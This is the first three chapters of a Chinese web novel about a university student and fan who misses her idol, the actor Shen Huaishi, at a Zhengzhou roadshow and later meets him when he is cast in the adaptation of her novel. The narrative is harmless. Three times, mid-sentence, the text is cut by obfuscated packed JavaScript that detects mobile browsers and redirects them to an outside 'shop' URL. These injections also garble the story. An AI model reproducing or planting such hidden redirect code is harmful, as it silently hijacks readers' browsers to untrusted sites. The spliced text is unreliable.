《他来时见雪》 1. 会见面吗?会吧 九月中旬,时序尚未入秋,仍是暮夏。 但偏偏就是这种将秋未秋的时节,最惹人浮躁。骄阳依旧灼着人的脊背,没有半分秋日该有的爽朗与清透。 林荫道旁,两个女孩背着书包,低头沉默着朝教学楼的方向走去。 树影扰乱,蝉鸣渐倦。 闻朝脚下蓦地一踉跄,身子不稳,左耳上那只形单影只的蓝牙耳机也随之跌出,滚落在灰白的水泥地上。 付暖侧过身子,确认她没摔倒后,目光才落向那枚小小的、躺在地上的白色装置,轻声提醒道:“你耳机掉了。” 闻朝掩口打了个绵长的哈欠,眼睫上凝着薄薄的水汽,她蹲下去捡起耳机,指腹细细擦去上面沾到的灰尘,重新塞回耳中。 耳机里流淌的是沈淮时翻唱的《想见你想见你想见你》: “用尽了逻辑心机 推理爱情最难解的谜 会不会你也和我一样 在等待一句我愿意 ……” 原唱中的怅惘和遗憾,经过他独有的温和嗓音重新淬炼,竟生出了一种“我偏要去见你,山海也为我平”的炽热和莽撞,褪去了原唱爱而不得的粘稠苦涩,尽显少年人的肆意张扬。 闻朝跟着旋律轻声跟唱,生理性的泪水模糊了视线。她揉了揉惺忪的眼,试图驱散浓重的倦意。 “你昨晚没睡好吗?这一路你哈欠都没断过。”付暖看闻朝一副下一秒就要席地而睡的犯困模样,从口袋中掏出一个小小的、绿莹莹的玻璃瓶递过去,还不忘提醒她,“风油精,提提神。一会儿上课老师要提问,你可别犯困了。” “嗯......算是失眠吧。”闻朝接过,旋开瓶盖,凑近鼻尖深深一吸。 一股凌厉的清凉感猛地窜入鼻腔,直冲天灵盖,混沌的思绪被强行劈开一道清明。 她长长舒了口气,仿佛重新活过来一般:“得救了,谢啦。”” 距离上课还有半个小时,时间很充足。两人便缓了脚步,有一搭没一搭地聊着,朝教室踱去。 在靠后的位置坐下,闻朝便悄悄点亮手机屏幕,指尖熟稔地滑开桃票APP。 界面依然停留在那场路演的购票页,她心存侥幸,期盼着或许有人临时退票,能让她捡个漏。 这份执著,从昨夜持续到今晨,仿佛不知疲倦。 这次沈淮时的电影路演定在郑州,可让闻朝激动了好久。 电影路演官宣的那天,她激动地发了个朋友圈:【谁懂沈淮时要来郑州的含金量?!他终于要来到我的城市了(激动)】 对她而言,这一天的意义就在于她能够亲眼去见自己的星星。 尽管星光并非独照她一人、尽管她与他之间隔着无法跨越的屏幕与遥远的距离、尽管这份爱注定是一场盛大而无声的独角戏,可她依然觉得,能爱着他,本身便是馈赠。 总有人对“追星”常有不解乃至轻嘲,他们不能理解为何有人愿将浓郁的情感、时间与金钱,倾注于一个素未谋面、远在天际的陌生人。 但他们不曾知晓,于许多人而言,那个人是疲惫生活里的理想自己,是黯淡时刻投射进来的一束光,更是跋涉青春时不肯放手的执念。 那些隔着屏幕陪伴的上千个日夜是真的,那些毫无保留的欣赏与牵挂,也是真的。 闻朝慵懒地靠着椅背,寻了个舒服的姿势支着手臂,再次点开微信朋友圈:【@是阿淮吖:今天要去见喜欢了九年的人啦!】 配图是沈淮时的一张旧照。 背景是灯光氤氲的录音棚,少年一身黑色卫衣,松散地戴着耳机立在麦克风前,姿态闲适。他半低垂着脑袋,额前碎发垂落,半掩着眉眼,却更添几分深邃,微微勾了勾唇,唇角若有似无的弧度浅淡,却又增添了一丝魅惑感。 发送成功,她退出微信,随手刷起短视频。 不料首页第一条,便是昨夜沈淮时已抵达郑州机场的消息推送。 她指尖几不可察地轻颤了一下,心脏骤然收紧,又缓慢地、沉沉地跳动起来。 你来了,沈淮时。 你终于来到了这座我在的城市了。 评论区早已被早起的“大学生特种兵”们占据,一条条留言飞速垒起高楼。 闻朝目光掠过,其中一句倏地撞入眼帘: 【阿淮宝宝看起来好累啊,心疼。】 爱的最高境界,大抵就是“心疼”二字。 因你悲喜而牵动,因你倦容而蹙眉。 “你也刷到了?!” 付暖凑近看清了闻朝手机界面显示的评论,上面都在说沈淮时已经到达郑州了。 她笑了笑,挑眉道:“怎么样?!马上就要见到沈淮时了,激不激动?!” 闻朝详装淡定,却将手机倒扣放在桌面上,疯狂想要压下自己扬起的唇角,淡然道:“还好,也就那样吧。” 付暖眯起眼,一副“我看你装到几时”的神情,“真——的——吗?” “嗯,不激动。” “行,你就接着装。” —— 会展专业的课程并不艰深晦涩。相比于理科专业那些密布符号与定理的天地,这堂茶文化课已算得清浅有趣。 只是学校明令上课需交手机,失去了这方寸之间的斑斓世界,课堂便难免沉闷。 学生们或伏案梦会周公,或侧首窃窃私语。 至于为何不专心听讲? 答案大抵写在每一张年轻而无奈的脸上:水课罢了,何必当真。 讲台上,老师望着台下东倒西歪的一片,摇头轻叹,却依旧尽职地讲述着茶马古道与杯盏春秋。 闻朝彻夜未眠,本该是沉睡大军中的一员,此刻却反常地清醒。 她低声与付暖交谈,偶尔在老师强调时,提笔在书页边勾勒重点。 “你一会儿是吃完饭就去吗?” 付暖瞥了眼表盘,时针指向十一点四十五分,距下课仅剩五分钟。 “不吃饭了,”闻朝摇了摇头,低声说,“我放完学直接就走,要不然时间上赶不及。” “噢噢。”付暖了然点头。同为追星族,她深谙那种奔赴相见时,连片刻等待都觉漫长的心情。 闻朝利落地将书本收入书包,转身将包递到付暖怀中,眨眼间换上恳求的神色,“好暖暖,帮我把书包捎回宿舍呗。” “行,知道你要去见你的沈淮时,”付暖爽快接过,话锋却一转,“对了,茶文化的小组作业,可别忘了。” 闻朝顿了顿,但一想到今天是周五而且下午没课,不着急,摆了摆手,“行,等我晚上回来再弄吧,反正也不急。” 下课铃响的瞬间,闻朝几乎同时从座位上弹起。 与其说她动作迅捷,不如说是那颗迫切想要见他的心,早已先于身躯奔向了门外。 许凉也去,两人都没有抢到票,便约好一同蹲守在场外。 能见一面,即便只是远远的、喧嚣缝隙中的一瞥,也值得。 “许凉,快点儿,一会儿赶不上公交了!”闻朝看了看手机屏幕上的时间,催促着。 沈淮时在郑州有八场路演,她原想贪心连赶两场,但奈何影院之间距离不近,郑州的交通脉络在周末午后更加堵塞。 权衡之下,她只能选择一个,且必须在夜晚门禁前返校。 破学校,偏有门禁。闻朝腹诽,却还是乖巧地计算起返程时间。 下午虽然没有课,但是周六却要补课,今天晚上还要查寝。 “来了来了。”许凉背着书包风风火火地出来了,站定之后问她:“走吧,咱去哪一场啊?” “还不知道呢,反正第一场赶不过去了,上公交再说吧。” 闻朝出了校门便飞奔向公交车站牌。 或许是上天眷顾,恰好一辆公交缓缓进站,稳稳地停下了她们面前。也许是因为此刻恰好是中午,很多学生下午还有课。 在高校云集的校区,像这样不用等待、直接上车选座的好运,实属难得。 “没等车,直接上来了哦。”闻朝给付暖发信息小小炫耀,却收到对方催促作业的回复。 两个人在一个小组,作业需一并提交。 闻朝:“???” 老师不是说下周才交吗?! 虽疑惑,但行动上却已妥协。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276080|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是,在微微颠簸的公交车上,闻朝晃悠着身体,点开文档,开始编辑她那部分选题——“文成公主与茶”。 许凉在一旁,手指亦在屏幕上飞快跳动,大概也在忙功课,却不忘追问:“咱到底去哪场?” 闻朝头也不抬,与文献资料搏斗,“第三场,横店影城。前两场赶不上,位置也占不到了。其他的太晚,咱还得回学校呢。” “成,就横店。” 一路的奔波,公交转地铁,然后步行十几分钟,她们终于抵达了横店影城楼下。 因今日沈淮时的到来,楼体外赫然悬挂着他的巨幅影像。楼下已聚集了不少女孩,空气中弥漫着隐约的兴奋。 闻朝驻足,仰首望去。 巨幅海报上,少年身姿修长,闲适地倚着门框,微微歪头,笑眼弯弯,如邻家兄长般亲切,蓬勃的少年气几乎要破画而出。 下方一行醒目的字:“青年演员沈淮时”。 短短七字,已是无需质疑的身份注脚。 这画面让她想起前几日,有粉丝将沈淮时七年前的剧照与近照并列。岁月在两个定格间悄然流走,少年眼中的青涩懵懂,已被沉稳与故事感取代。 粉丝配文:“七年,一个演员的变化。” 他说过,想成为人民的艺术家。 闻朝默默想:那么,我便做你最忠实的影迷,见证你每一步的成长。 沈淮时,你要稳稳地、灿烂地走下去啊。 盯着那张海报看了许久,闻朝这才和许凉一起走进影城。 影院门外,已是蓝色的海洋。身着蓝衣或手持蓝色应援物、海报、立牌的女孩们聚集着,挨挨挤挤,喧嚣而热烈。 “那边聚了好多人,我去看看。” 好奇心驱使,闻朝循着人声挤了进去。拨开层层人群,中心却是一位中年男子,正手持沈淮时的周边进行推广。 闻朝原本因未见预期热闹而略显失望的眼眸,倏地亮了。细看,竟是她未曾拥有的周边款式,心跳不由快了几分。 她按捺住自己的社交恐惧,轻轻碰了碰身旁正低头摆弄手机的同担女孩,小声问:“姐妹,这个周边怎么领?需要超话等级吗?” “不用,下载个APP就行。”那女孩答得干脆,自己已操作完毕,径直上前领取。 闻朝向来反感这种推广方式,平日里街头遇人请求扫码下载,总是摇头婉拒。 但这次…… 目光掠过周边上那张熟悉的脸,拒绝的话在唇齿间转了一圈,终是咽下。 “为了沈淮时,我忍。”她咬咬牙,快速下载了那个陌生的APP,领取了心心念念的周边。 下一秒,便毫不犹豫地将那APP从手机中移除。 “诶?许凉呢?” 发完朋友圈晒图,闻朝四顾,才发现同伴不见了踪影,心下顿时一慌。天知道,她的社交勇气,一半是借来的。 “这儿呢!” 许凉的声音传来,她也举着刚领到的周边,费力地从人群中钻出。 “走,去占位置。” 渴望见到沈淮时的同担实在太多。尽管两人一路小跑,终究还是没有挤到最前沿。 但还好,她们站立的位置大约在第四五排,不算太靠后。而且她们备有自拍杆,如果沈淮时来了,即便距离不近,也能尽力录下清晰影像。 “她们怎么都有票啊……真羡慕。” 闻朝站在保安拉起的警戒线外,望着持票观众陆续检票入场,轻声感慨。 “多半是买了黄牛票。”身旁一个女孩笑着搭话。 黄牛票……闻朝想起自己发动诸多好友帮忙抢票,皆是秒空。 她也曾探询过黄牛票价,原价三百的票被炒至两三千。那个数字瞬间击碎了她所有侥幸。 太贵了。 不如将这份钱好好攒着,等待他未来也许某天会举办的演唱会。那时,她要坐在内场,堂堂正正地,看他光芒万丈。 等待的时间被期待拉长,又被焦灼缩短。 影城内的喧嚣被隔绝在门后,门外的她们,在九月中旬尚存暑气的风里,怀着同一份赤诚的期盼,静静守望。 2. 他是全世界最好的沈淮时 影城外人潮如织,空气被挤压得黏稠、燥热,每一次呼吸都牵扯着心头的烦闷。 一如闻朝此刻的心绪。 她频频低头,目光落在手机屏幕上跳动的时间数字。 人群过于拥挤,单是站立便已让人倍感煎熬。唯一支撑她在此处站立近六个小时的执念,只是沈淮时——那个她喜欢了很久很久的人。 所以无论等待多么漫长难耐,无论热浪如何蒸腾,她都愿意为他固守原地。 “沈淮时来了吗?是不是沈淮时来了?!” 原本在影院门口维持秩序的保安忽然被负责人唤走,随后被调至入口处,背对着粉丝,面朝影院大门,整整齐齐站成了一道人墙。 这突如其来的变动,让所有人都以为沈淮时即将抵达。 人群骚动起来,无数只手高高举起手机,录像的红色光点连成一片。 “不是说三点十五分才是这场的时间吗?还有一个多小时呢。”闻朝心下疑惑,手臂却已本能地高举起自拍杆。她生怕错过他出现的任何一瞬,口中不住地向身旁的许凉确认。 许凉同样高举着设备,脸上写满不解,“不知道啊……但她们都在拍。” 几分钟后,手臂的酸胀感袭来。闻朝稍稍放低自拍杆,活动了一下僵硬的肩膀,低头检查刚才录制的视频。 没有,什么都没有。只有攒动的人头和模糊的光影。 “第二场路演还没结束呢,沈淮时怎么可能现在过来。” 身后传来几个女生的低声议论。 “就是,前面的人到底在拍什么啊……” 闻朝低头摆弄着手机。 人群拥挤,她一手拿着支架,只能用另一只手艰难地打字,回复付暖发来的消息:【沈淮时还没来,我们这是第三场,第二场还没结束。】 字刚发送出去,四周忽然爆发出此起彼伏的呼喊: “开门!” “把门打开!” 什么?开什么门? 闻朝踮起脚,努力向前望去,却只见影院入口那扇厚重的门,不知何时已被紧紧关闭,严丝合缝,隔绝了内外。 她几乎要被气笑了。 什么意思?把门关了,我们看什么? 不止是她,所有在场粉丝的怒意都被瞬间点燃。 她们从四面八方赶来,只为那短暂的一瞥,此刻却被一扇门无情地挡在外面。 “把门打开!” “你们凭什么关门?!” “我们有票!刚才出来上厕所,凭什么不让进了?!” 几个手持票根、刚从洗手间返回的女孩被保安拦在门外,急得声音都在发抖。 保安满脸为难,只能重复着,“我们也没办法……上面吩咐的,我们只是打工的……” 场面一度僵持,空气里的烦躁和怒意几乎要凝成实质。 “大家保持安静,门一会儿会开的,只是时间问题。”一个手持扩音器的工作人员站了出来,高声喊道。 “我们什么时候吵了?”闻朝忍不住撇了撇嘴,凑近许凉耳边低语,“不是他们自己关门惹出来的动静吗?” “就是,莫名其妙。”许凉附和道。 尽管满心愤懑,粉丝们还是渐渐安静下来。 门,终于缓缓打开。 人群重归寂静,只余下无数高举的手臂和闪烁的屏幕,即使那个身影还未出现。 距离预定时间还有三分钟,全场的呼唤已如潮水般涌起: “沈淮时!沈淮时!沈淮时!!!” “从始至终,唯爱沈淮时!” 在周遭震耳欲聋的声浪中,闻朝也被这股炽热感染,放声喊出那个刻在心底的名字。 数百人整齐划一的呐喊,引得路人纷纷侧目。那目光里有惊叹,有好奇,或许也有一丝对这群女孩执着勇气的感慨。 他们惊叹于沈淮时的人气,也同样为这些女孩子的勇敢投去赞赏的目光。 然而,十分钟过去了,约定的时间早已滑过,那个期待中的身影依旧没有出现。 呼喊声逐渐低落下去,像燃尽的薪柴,最后一点火星也消散在沉闷的空气里。高举的手臂逐一垂下,屏幕的光芒次第熄灭。 “没事的,肯定是堵车了。” “对,郑州周末市中心的交通嘛,理解……” “我们再等等,再等等。” 她们互相安慰着,可那微颤的嗓音和眼底强忍的晶莹,却出卖了心底的慌乱与失落。 为什么要哭呢?他会来的啊。 闻朝这样想着,可心脏却莫名地揪紧,一阵尖锐的酸楚漫上鼻尖,几乎要将她吞没。 四周彻底安静下来,只剩下人群低头刷手机的细碎声响。大家都在焦急地追踪着他的行程动态。 半个多小时在煎熬中流逝。他依旧没有来。 她们眼中的光,一点点熄灭了。 “他来不了了……沈淮时来不了了。”一个带着浓重哭腔的声音刺破寂静,“楼下有私生堵他的车……他上不来了……” 说话的女孩似乎很早就到了,此刻声音支离破碎。喜欢他这么多年,只想远远见一面,为什么就这么难? 闻朝听见自己心脏重重一坠。她无意识地攥紧拳头,指甲深深嵌入掌心,留下泛白的月牙印痕。 她依旧执拗地站着,仿佛只要她不走,那个承诺就还在。 这是他的电影路演第一次定在郑州,定在她的城市。距离那么近,她不想,也不愿错过。 耳边传来其他粉丝的低语:“场内有个姐妹,从西安赶过来,花了两千多买的黄牛票……要是见不到,该多难过啊……” 是啊,她会难过。 可你自己,不也没能见到心心念念的那个人吗? 大家都会难过的。 闻朝不愿相信网络上的碎片信息。她固执地站在原地,像周围所有不曾离去的粉丝一样,用沉默的等待对抗着逐渐冰冷的现实。 直到她的指尖,在屏幕上滑动的动作猛然顿住,那是沈淮时出席探十里路演的现场视频。 画面里的他,神色是罕见的疲惫,眉宇间笼罩着一层淡淡的愠怒。 看着本应出现在这里的人,却出现在另一个地方。 闻朝扯了扯嘴角,想笑,却挤不出一丝弧度。眼中原本因期待而闪烁的光,在那一瞬间彻底寂灭。 半晌,一声极轻的呢喃溢出唇边,“沈淮时,为什么见你一面……这么难啊。” 她的冷静是前所未有的,那份随之而来的悲伤,也是前所未有的。握着手机的手在微微颤抖,不知是长时间高举的疲惫,还是心底那片轰然塌陷的荒芜所致。 “沈淮时不来了,下面人太多堵车,大家散了吧。”工作人员的声音再度响起,平静得不带太多情绪,只是例行公事地疏导着人群。 “走吧,赶下一场,说不定还能见到。”有粉丝这样提议。 可也有许多女孩再也忍不住低声啜泣起来。 没人知道这样的机会以后还有没有。明明只差一点……明明那么近…… 听到同担压抑的哭声,闻朝终于不得不相信:原来,她真的要错过这次见他的机会了。 心脏猛地一缩,像被一只无形的手狠狠攥住,窒息般的痛楚蔓延至四肢百骸。 她站在原地,目光空洞地凝望着墙上沈淮时的电影海报,看了很久很久,直到许凉的声音将她拉回现实。 “走吧。”许凉的语调低沉,带着同样的失落。她转身,走向电梯。 闻朝循声望去,眼中蓄满了将落未落的泪,她的声音很低,大概只有自己能听到,“明明……就差一点……” 下楼时,巨幕上仍在循环播放着沈淮时的宣传视频。光影流转,映亮他含笑的眉眼。 闻朝看着,心里那股积压的遗憾与委屈,终于决堤。 “要不……我们再回去等等?说不定他还会返场。”许凉迟疑着提议,语气里带着最后一丝侥幸。 “他一定会返场,”闻朝的声音很轻,每个字却都浸透了不甘的苦涩,“但那要等到所有行程都跑完……到时候,恐怕要夜里十一点多了。” 学校九点的门禁,回去还要一个多小时的车程。 她又何尝不想等到最后? 可明天还有补课,请假手续繁杂…… 该死的补课,该死的门禁,该死的私生…… “要不……还是再上去看看吧。” 两人对视一眼,默契地转身,逆着散去的人流,再次回到了影院门口。 那里,还聚集着许多不愿离开的粉丝。 大家眼眶通红,沉默地仰望着那张巨幅海报,目光里盛满了同一种遗憾。 闻朝安静地走到海报前,仰起头。 画中的少年笑意温暖,恍若触手可及。可正是这份“近乎咫尺”,让一直强压的情绪终于崩溃。 她抬手飞快地抹了下眼角,走到角落蹲下,在闺蜜群里发出消息:【你们方便接电话吗?】 宋枝几乎是秒回:【方便啊,咋了?】 闻朝拨通电话,将脸埋进臂弯。她的脸色苍白,声音带着无法掩饰的颤抖。 “咋了?见到沈淮时了?!”宋枝的语气雀跃,显然还不知道发生了什么。 “……没有。”听到闺蜜熟悉的声音,她强忍的委屈瞬间决堤,哽咽堵住了喉咙。 “别哭别哭,怎么回事?”宋枝立刻急了。 “我没见到他……有人在楼下堵车,他上不来……只能赶下一场了。”闻朝断断续续地诉说,路过的人投来好奇的目光,她窘迫地转过身,面朝墙壁,“我看他视频里……脸色很不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276081|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,好像生气了……” “那肯定啊,被堵了谁不生气。”宋枝试图用轻松的语气安抚,“和你一起的同学呢?她见到了吗?” 闻朝看了看另一边同样躲在角落发消息的许凉,摇了摇头,“没有……我俩一起来的,我们都没见到。” “没事,以后还有机会的,又不是只有这一次。”宋枝安慰着,尽管她自己都觉得这话有些无力。 “不一样的……”闻朝的眼泪又涌了上来,她深深吸气,努力压抑,“这次那么近……就在楼上楼下……他都到家门口了,我还是没见到……” 和闺蜜简短说了几句,挂断电话。 转身准备离开时,她忽然瞥见不远处立着一块留言板。上面密密麻麻,写满了粉丝的祝福与签名。 来了这么久,竟从未注意到这里竟然还有这个东西。想来是满心满眼都只装着一个人,再也容不下其他。 抱着“来都来了”的心情,闻朝走近,拿起旁边提供的签字笔,费了好大劲,才在层层叠叠的字迹间,寻到一小块空白。 她拔开笔盖,一笔一划,认真地写下: 【沈淮时,天天开心!】 即便今天因为没能见到你,我这么难过……也依然希望你能天天开心。 ——— 一路紧赶慢赶,终于在门禁前踏进了校门。 闻朝的情绪一路低落。 推开宿舍门,室友们齐刷刷地看过来。 “朝朝,怎么样?见到沈淮时了吗?” “……没有。”她的声音低得几乎听不清,“有人堵车,他没上来……去赶下一场了。” 室友们见她神色黯然,没再多问,只是轻声叹息,“唉……太遗憾了。 闻朝沉默地坐到书桌前,打开手机。一直潜水的闺蜜陆易安终于出现了,回复了她之前的信息:【咋了?】 还没等闻朝打字,宋枝已经飞快地回复:【这孩子没等到。】 陆易安安慰道:【没事,以后工作了可以去接机,机会大一点。】 【对,我同学他姐就是。】宋枝附和。 看着屏幕上那些温暖却遥远的话语,闻朝鼻尖又是一酸。她轻轻咬住下唇,不知呆坐了多久,才从衣柜拿出衣物,走进浴室。 当浴室门关上的刹那,在这个狭小密闭的私人空间里,她才敢真正哭出声。额头抵着手臂,蜷缩着,肩膀微微颤抖,发出压抑的、小兽般的呜咽。 她知道,这场盛大的追随,或许本就写满了遗憾。 她所求不多,只想亲眼见他一面,远远的就好。 可是,沈淮时,每一步走向你的路,都布满荆棘,都需要运气和代价。 不知过了多久,她洗完澡,拉开门回到宿舍。发梢还在滴水,她也无心吹干,只草草用毛巾擦拭几下,便坐回书桌前,拿起手机,回复闺蜜群的消息: 【嗯,希望以后……还有机会见到他吧。】 另一个闺蜜林温萌也发来安慰:【你就好好休息,下一次一定能见到的。】 闻朝心情复杂,打字回复:【我总觉得……这次没见到,下次会更难。】 林温萌:【这次他来你的城市,下次,你去他的城市。】 闻朝没再回复,只回了个“嗯”。 她爬上床铺,将自己深深埋进柔软的枕头里。 深夜十二点,她依旧毫无睡意。 黑暗中,她再次摸出手机,想着看看他的照片视频,或许心情能好一些。屏幕亮起,锁屏界面却被一连串热搜词条占据: #沈淮时给粉丝退钱# #沈淮时强制影院退钱# #沈淮时返场# #沈淮时改签#…… …… 她的指尖顿住,呼吸一滞。 原来,当他得知路演票被影院高价倒卖,他直接联系影院,强制要求将溢价部分退还给粉丝。 原来,在最后一场路演结束后,他改了机票,深夜再次折返,回到了横店影城。 他来赴约了。 他没有让那些真正在等待的女孩失望。 在横店影城苦等了十二个小时的粉丝,终于见到了心心念念的少年。 闻朝的手指微微发颤,点开评论区。热评很多条,被无数点赞顶到最上方: 【如果你知道我担改了机票来见我们,你也会觉得我命好。】 【如果你知道我担让影院把路演溢价票退给粉丝,你也会觉得我命好。】 【粉沈淮时,从不让人失望。】 【如果你知道我担是沈淮时,那你也会觉得我命好。】 微亮的屏幕光,映亮了她湿润的眼眶。那里面,熄灭的光,似乎又悄悄、轻轻地,重新燃起了一点微弱而温暖的星火。 原来,爱与等待,从来不是单向的奔赴。 3. 《骤雪止》官宣影视化 路演结束后的第三天,刚好是中秋节,和闺蜜许久未见,眼看往后能相聚的假期愈发难得,闻朝计划着和她们来一场短途旅行。 却在出发的前一晚接到了编辑灵越的电话,电话中通知她明天去北京签影视化合同。 是的,通知,而非商量。 闻朝微微蹙眉,觉得这样的语气有些失礼,却终究没有多言。 算了。 灵越近来手下一批小作者闹出不少风波,她忙得焦头烂额。也该体谅她的,毕竟认识的这两年,她们两个相处得还算融洽。 其实早在数月前,闻朝就从灵越口中听说自己的书有望影视化,只是后来迟迟没收到签合同的消息。 她本以为这件事就要不了了之,却没想到,消息竟来得如此仓促,打乱了她既定的计划。 虽然抱怨,但还是给闺蜜发去爽约改期的消息,并许诺下次补偿,才抚平对方那几乎要炸毛的情绪。 因为消息通知得过于匆忙,她无奈之下只能选择红眼航班,在凌晨两点十分到达北京机场。 见面签影视合同的时候,闻朝这才明白,此行不仅是为了落笔签字,更涉及选角,尤其是男主角的最终确定。 若非导演陈序在业内口碑颇佳,闻朝怎么也不愿把自己第一本书的影视版权交出去。 创作这本书的初衷,就是前几天她遗憾错过、没能顺利见到的沈淮时。 当年签约时,闻朝还是个寂寂无名的新人作者。 没有流量,没有读者,没有存稿。 她一无所有,仅凭着自己对写作的一腔热爱和对沈淮时近乎执念的爱,在写作这条路上撞了个南墙,却也在最后以沈淮时为原型写下了一部男频奋斗文。 因为书中塑造的男主形象过于破碎,也过于完美。硬生生在一众女频言情中杀出一条血路,也成为了那年小说平台中的黑马。 —— “闻小姐,剧组有个会要开。” 陈序的助理李言书一通电话吵醒了正在酒店补眠的闻朝。 因为签完合同之后,还需要确定演员以及剧组的其他事宜,她没有回郑州,依旧在北京待着。 她揉了揉眼睛,迟疑道:“男主……定好了?!” 当下她什么都不关心,只关心是哪位演员将出演她笔下的男主角。 其他角色的演员资料陈序都已发给她,闻朝并无意见。毕竟那些角色并无具体原型,演员形象贴合就好。 只有男主角迟迟未敲定,不仅书粉好奇,就连她这个原著作者也好奇到不行。 “嗯,定好了。”李言书虽然压低声音,却还能听到她语气里深藏着的雀跃,她深呼一口气,平复了一下心情。“你绝对不敢相信,会是谁出演。” 闻朝从床上下来,从床头柜上拿起发圈,把长发简单绑在脑后,走到卫生间就开始洗漱。 她一边挤着牙膏一边毫不在意地说:“反正不会是沈淮时。” 反正不会是她笔下的原型来演,那么是谁来演对她而言并没有那么重要。 只求…… 别演砸了就好。 她看着镜中的自己,眼下发青,面色惨白,一看就没有休息好。 唉,谁让她太喜欢沈淮时了呢? 昨晚她硬生生熬了个通宵又把沈淮时主演的一部电视剧重刷了一遍。 已经不记得自己这是重刷了多少遍, 但是就是超好看啊, 有没有人能懂啊?! 她摇了摇头,试图让自己更清晰,刚灌了一口水吐出来就往嘴里塞牙刷。 我左刷刷右刷刷, 我上刷刷下刷刷, 我爱洗漱,牙齿好好…… 闻朝刷着牙,一边在心里唱着,一边左扭扭右扭扭。 却不料听到电话那头的李言书清晰而肯定地回应,“就是沈淮时。” 闻朝的动作蓦地顿住,满嘴泡沫也忘了吐,只是怔愣地看着正在通话中的手机,声音颤抖,她几乎不敢相信自己听到的话,“你……你说什么?!” 她觉得有些太不真实了,有点像是在做梦, 她的确有想过请沈淮时出演。 签合同那天她就已经向导演提过,沈淮时是理想人选。 陈序也承认他的确贴合角色,只是担心他档期问题,之后就没再提起。 “导演和制片人抱着试试的心态给他递剧本,他接了,就答应来出演了。”察觉到闻朝还在发愣,李言书就催她赶紧收拾收拾来开会,末了还提醒,“听说所有主演都会到场,包括沈淮时。” 闻朝当即就按捺不住了,简单收拾画了个淡妆就出发。 难以形容她此刻的心情, 震惊、惊喜、慌张,还有些许恍惚。 她本以为她和沈淮时的缘分已止步在郑州路演那次未见面的遗憾。却没想到她竟然还有机会见到他,更没想到他竟然会出演她笔下的人物。 这也就意味着,她拥有至少三个月的时间,能够近距离见到他。 闻朝坐在窗边,看着车窗外飞驰而过的风景,不知道为什么,手指下意识扣弄衣角,指尖也微微发白。 她想不明白自己为什么紧张居多,明明要近距离接触沈淮时自己本该激动才是。 在闻朝紧张的心情中,车子终于缓缓停在一座大厦楼下。 下车后她长呼一口气,拿出包里的小镜子简单整理了一下发型,补了妆才敢走进去。 会议室已经坐了三十多个人,制片人、摄影指导、动作指导、环境布置,还有几个她在导演发来的资料上见到的演员。 唯独不见沈淮时。 他没来…… 没见到沈淮时,闻朝有些失落。 她太想见他了,前几天郑州路演,本应该有机会见面的,但偏偏因为私生堵车的原因,她没见到。 那次是她喜欢他九年来,离他最近的一次,是只隔着楼上楼下的距离,是明明差一点就可以见到的面。 次次回忆,总会在她心里泛起阵阵酸涩和思念。闻朝低头扣着手机,这里的人她都不认识,对于他们谈话的内容也半懂不懂。 就这样不知道过了多久, 门外传来了脚步声,导演陈序推开会议室的门,先进来了。 跟在他身后的,是一个让闻朝无比熟悉的单薄身影, 是沈淮时。 他穿着很单调,一身黑色大衣搭配牛仔裤,又高又瘦。他微抬头,那张她隔着屏幕凝望了无数次的脸清晰地映入眼帘。 这是闻朝生平第一次在线下亲眼看见他。 沈淮时是真的不上镜,本人要比照片好看太多了。五官精致却透着淡淡的清冷感,像覆着一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276082|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄霜。 闻朝这才懂得那些线下见过沈淮时的同担们为什么会感慨“真人更好看”。 在真正见到他的那一秒,原本积攒很多想要说的话,却在刹那间忽然全部沉寂下去,只剩下了沉默。 她的眼眶微微发热,视线眷恋地落在他身上。她找不到能用什么言语来形容她此刻的心情。 但在这一秒,她真正释怀了,那一次郑州路演没能见到他的失望和委屈,在他出现的那一秒就已经消散了。 他一出现,所有的一切也不过如此,可以说,他就是她的良药,能治愈她所有暗淡的情绪。 闻朝只觉得自己胸腔内的心跳有些过分猛烈,好似下一秒就要跳出来似的。 “淮时推了行程好不容易赶过来,辛苦了,大家欢迎一下。”陈序笑得脸上都开了花,眼中是藏不住的欣喜。 本来也只是抱着试一试的心态给他工作室发去了剧本,没想到他竟然接了,这下不愁热度和票房了。 热烈的掌声终于把闻朝拉回现实,她望着距离她不超过三米的沈淮时,只觉得眼眶有些湿润。 沈淮时,在梦里抱不到你,现实中远远地看上一眼,就够了。 他一如往常谦逊,九十度朝大家鞠躬致意,言语一如既往地真诚,“谢谢各位,我是沈淮时,大家好。” 陈序逐一介绍完主创团队的成员后,目光在闻朝身上停留了片刻,然后向沈淮时介绍道:“这位是我们的原著作者兼编剧老师,闻朝。” 